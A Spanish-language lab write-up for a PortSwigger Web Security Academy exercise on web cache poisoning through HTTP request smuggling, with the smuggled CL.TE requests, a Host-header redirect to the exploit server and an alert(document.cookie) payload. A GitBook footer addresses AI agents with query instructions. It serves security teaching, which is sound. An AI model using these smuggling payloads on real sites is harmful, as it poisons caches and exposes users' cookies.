> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md).

# Envenenamiento de caché web mediante contrabando de solicitudes HTTP

Notas de Envenenamiento de caché web mediante contrabando de solicitudes HTTP para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Explotar el contrabando de solicitudes HTTP para realizar un envenenamiento de la caché web

El front-end y el back-end tratan las solicitudes HTTP de manera diferente. / El front-end **no admite la codificación fragmentada** y algunas respuestas son **almacenadas en caché**.

El objetivo es llevar a cabo un ataque de **smuggling de solicitudes** permitiendo envenenar la caché\*\*: en una consulta posterior a un archivo JavaScript, la víctima debería ser redirigida al servidor de explotación, que devolverá un script que mostrará `document.cookie`.

El laboratorio simula automáticamente a un usuario víctima: de las pocas solicitudes POST que enviamos, la víctima realiza su propia solicitud.

#### Carga útil en el servidor

Preparamos la respuesta JavaScript maliciosa:

```javascript
HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8


alert(document.cookie);
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0ade7f54c0ba51cab7a19628a7cc12e2fb605309%2F%7B688B2736-C0F5-48E8-BB9B-1A9FA1348AF4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Información sobre el archivo tracking.js

Se observa que el recurso permanece oculto durante 30 segundos\*\*

```javascript
Cache-Control: max-age=30
Edad: 9
X-Cache: acierto
Content-Length: 70

document.write('<img src="/resources/images/tracker.gif?page=post">');
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7cb9227d4292db375cc57c103c528e04f4ad5d36%2F%7BE0D1C846-9B3F-41B4-86C5-64492B192A04%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Análisis del comportamiento del botón post-next

* El `postId` el parámetro permanece igual.
* Al hacer clic, la aplicación redirige a la siguiente publicación.

Ejemplo de una solicitud que desencadena esta redirección:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a83c168f0727c6632564a7028c91db724b56eaea%2Fimage%20(326).png?alt=media" alt=""><figcaption></figcaption></figure>

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Prueba: A
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69ff1eb3b37df22c7c9f77af583b022a20cb5d27%2F%7BD0417941-AAAC-4DB7-ADEE-8672C4CC1334%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Prueba: inyectar un encabezado Host arbitrario

Al reemplazar el host de la solicitud interna:

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 88
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: google.com
Content-Length: 11

test=test
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af4530770bece773cef79e784e97130b3ea26139%2F%7B9374C948-EB94-42D9-926D-8C408050753D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-65783151f4e83228b1bb0e5b7613006ef36c6d80%2F%7B36D31FF1-CF50-4E40-8F5D-E481E16E0F0E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Carga útil final para redirigir a nuestro servidor de explotación

Se inyecta una solicitud GET interna que contiene nuestro encabezado controlado **Host** se inyecta:

```http
POST / HTTP/1.1
Host: 0a5800f903d062e780880dfb00620034.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: exploit-0a94005103f762a980690cd701e3004c.exploit-server.net
Content-Length: 20

test=test
```

Tan pronto como la víctima cargue el recurso JavaScript almacenado en caché, la caché devolverá **durante 30 segundos** nuestra respuesta modificada, provocando:

```javascript
alert(document.cookie)
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41ab73925af1dbb7f23c9e75112cd87adc86598c%2F%7B860571D4-0B89-4DEC-B5B0-311E0187CFE7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2306ee05f8c6f9a6b685dff72cc726a2865d2481%2F%7B540403E5-0DAB-4B4B-87F9-9466F806A10A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/web-cache-poisoning-via-http-request-smuggling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
